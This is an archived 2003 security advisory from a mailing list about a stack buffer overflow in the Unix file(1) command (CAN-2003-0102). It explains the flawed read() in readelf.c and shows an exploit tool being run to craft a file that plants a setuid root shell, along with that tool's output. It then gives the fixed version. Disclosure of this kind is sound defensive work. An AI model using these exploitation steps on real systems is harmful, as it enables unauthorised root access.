

[UNIX] Buffer Overflow Vulnerability Found in file(1)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-03/0006.html>

From: support@securiteam.com

Date: 03/05/03

From: support@securiteam.com

To: list@securiteam.com

Date: 5 Mar 2003 20:50:48 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office housewarming rates on automated network vulnerability scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or ussales@beyondsecurity.com

Buffer Overflow Vulnerability Found in file(1)

SUMMARY

File is a program used to determine file types by testing each argument in an attempt to classify it.

There are three sets of tests, performed in this order: filesystem tests, magic number tests, and language tests. The first test that succeeds causes the file type to be printed. The magic file usually resides in /usr/share/magic

A buffer overflow vulnerability allows a user to execute arbitrary commands under the privileges of another user (like root) by tricking the other user to use file on a specially made target file.

DETAILS

Vulnerable versions:

* file Versions 3.40 and below

Immune Versions:

* file Version 3.41 and above

Securiteam: [UNIX] Buffer Overflow Vulnerability Found in file(1)

usage example:

```
$ file unknown_file
```

```
unknown_file: MS-DOS executable (EXE), OS/2 or MS Windows
```

The attack works when the unsuspecting user tries to run:

```
$ file [exploit.file]
```

The crux of the problem lies in the following call to `doshn()` from `tryelf()` on line 587 in `readelf.c`:

```
doshn(class, swap,
      fd,
      getu32(swap, elfhdr.e_shoff),
      getu16(swap, elfhdr.e_shnum),
      getu16(swap, elfhdr.e_shentsize));
```

The final argument to `doshn()` '`elfhdr.e_shentsize`' is later used in a call to `read()` as we see here (line 133 in `readelf.c`):

```
if (read(fd, sh_addr, size) == -1)
```

The call to `read()` will copy '`size`' bytes into the variable '`sh_addr`' which is defined on line 92 in `readelf.c`:

```
#define sh_addr (class == ELFCLASS32 \
                ? (void *) &sh32 \
                : (void *) &sh64)
```

The storage buffer used in the call to `read()` is of size `0x20` (32) bytes, by supplying a '`size`' of `0x28` (40) a stack overflow occurs overwriting the stored frame pointer (EBP) and instruction pointer (EIP) thereby providing the attacker with CPU control and the ability to execute arbitrary code.

Exploit code:

First, create the file intended for the exploit:

```
$ ./mkfile_expl -C /tmp/suid -F /tmp/exploit -O "ASCII text" -R /bin/bash -p 1
```

```
Local /usr/bin/file upto v3.39 exploit by anonymous
```

```
Using PRESET: 1 [Linux file <= 3.38 ]
```

```
Using FILENAME: /tmp/exploit
```

```
Using REAL_SHELL: /bin/bash
```

```
Using CREATED_SHELL: /tmp/suid
```

```
Using OUTPUT: ASCII text
```

```
Using RET_ADDR: 0xbfffc3f0
```

```
Using NOP_COUNT: 6000
```

Securiteam: [UNIX] Buffer Overflow Vulnerability Found in file(1)

```
Exploit created -> /tmp/exploit
Time to wait till somebody starts /usr/bin/file /tmp/exploit
```

Once the tainted file has been generated the attacker must wait for or coerce another user to examine the file with the file(1) command.

```
# ls -l exploit
-rwxr-xr-x 1 farmer farmer 6406 Jan 11 22:07 exploit

# file exploit
/tmp/exploit: ASCII text
```

The file(1) command reports that the examined file is "ASCII text" as the attacker specified in the creation of the exploit file. At this point if the attack was successful the original attack file (exploit) has been erased and a set user id shell has been created:

```
# ls -l exploit
ls: exploit: No such file or directory

$ ls -l suid
-rwsr-sr-x 1 root root 541096 Jan 11 22:07 suid
```

CVE:
CVE has assigned this problem the identification: CAN-2003-0102

Solution:
Download latest file version from vendor or from:
<<ftp://ftp.astron.com/pub/file/file-3.41.tar.gz>> Version 3.41
Vendors will issue an upgrade individually.

ADDITIONAL INFORMATION

See also: <<http://www.iddefense.com/advisory/03.04.03.txt>> The iDefense Advisory.

Information was provided by <<mailto:info@iddefense.com>> iDefense.com and credited to an anonymous user.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [UNIX] Buffer Overflow Vulnerability Found in file(1)

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.